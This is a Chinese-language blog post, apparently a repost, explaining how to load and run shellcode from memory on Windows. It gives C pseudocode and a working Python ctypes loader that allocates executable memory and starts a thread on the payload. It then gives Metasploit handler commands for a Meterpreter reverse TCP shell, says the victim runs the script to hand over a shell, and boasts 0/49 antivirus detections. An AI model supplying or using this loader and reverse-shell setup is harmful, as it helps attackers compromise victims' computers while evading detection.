Python内存加载shellcode

2020/04/15 10:48
阅读数 612

0x00:原理

    大部分脚本语言加载 shellcode 其实都是通过 c 的 ffi 去调用操作系统的api,其实并没有太多的技巧在里面,明白了原理,只需要查一下对应的脚本语言怎么调用 c 即可.

    那么我们只需要明白 c 通常是怎么加载 shellcode 的即可一通百通.

    那么 c 是怎么加载 shellcode 呢,我们直接从汇编开始探究.

    shellcode 这个东西我们明白是一串可执行的二进制(一般可执行文件的拥有可执行权限的section为.text),那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 shellcode,然后跳转到 shellcode 首地址去执行就行了,汇编里面改变eip(即当前指令的下一条即将运行指令的虚拟地址)的方法有不少,最简单的就是直接 jmp 过去了.也就是写成伪码

大概意思就是

lea eax, shellcode;jmp eax;

那么我们用 c 怎么表示呢?


这里也写一段伪码(因为本文的重点并不是在于 c 代码的编写)


那么按照刚才的思路,先申请一块可执行的内存,放入 shellcode 然后跳转过去执行即可.

// shellcodeunsigned char shellcode[] =    "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"     "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"      "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"      ...;// 定义一个函数类型typedef void (__stdcall *CODE) ();// 申请内存PVOID p = NULL;  p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 把shellcode放入内存memcpy(p, shellcode, sizeof(shellcode));
CODE code =(CODE)p;
code();


并没有写出一个可用的 c 加载 shellcode,只是旨在点出一下流程,然后引出后面的 python 加载 shellcode,上面我们先申请了一块带有可读可写可执行权限的内存,然后把 shellcode 放进去,然后我们强转为一个函数类型指针,最后调用这个函数,达到了我们的目的。

0x01:Python实现

    前面说过,大部分脚本语言加载 shellcode 都是调用的c的ffi,那么我们直接按照之前的思路来就行了.

import ctypes#(kali生成payload存放位置)shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(    ctypes.c_uint64(ptr),     buf,     ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(    ctypes.c_int(0),     ctypes.c_int(0),     ctypes.c_uint64(ptr),     ctypes.c_int(0),     ctypes.c_int(0),     ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

注意:其中的的每个 c_uint64,这个类型在64位上是必要的,我们需要手动指定 argtypes 和 restype,否则默认的是 32 位整型。


    代码里面加了注释,我们可以看到,基本思路也是一样的,先分配一块可读可写可执行代码的内存,在代码中使用的是

0x40(PAGE_EXECUTE_READWRITE)和 0x3000 ( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE)

然后把 shellcode 塞进去,跳过去运行.

0x02:演示过程

一、MSF生成Payload

把生成的Payload放进上面的代码中

例子

二、msf运行并开启监听

use exploit/multi/handlerset payload windows/x64/meterpreter_reverse_tcpset LHOST 192.168.1.13set LPORT 666exploit

三、受害者运行脚本

获取到shell

四、在线查杀

https://r.virscan.org/language/zh-cn/report/5f75df969a7250364579f48d6d56ebcd

结果(0/49)

文章分析原理来自作者:Akkuman

https://www.cnblogs.com/Akkuman/p/11851057.html


本文分享自微信公众号 - 洛米唯熊(luomiweixiong)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部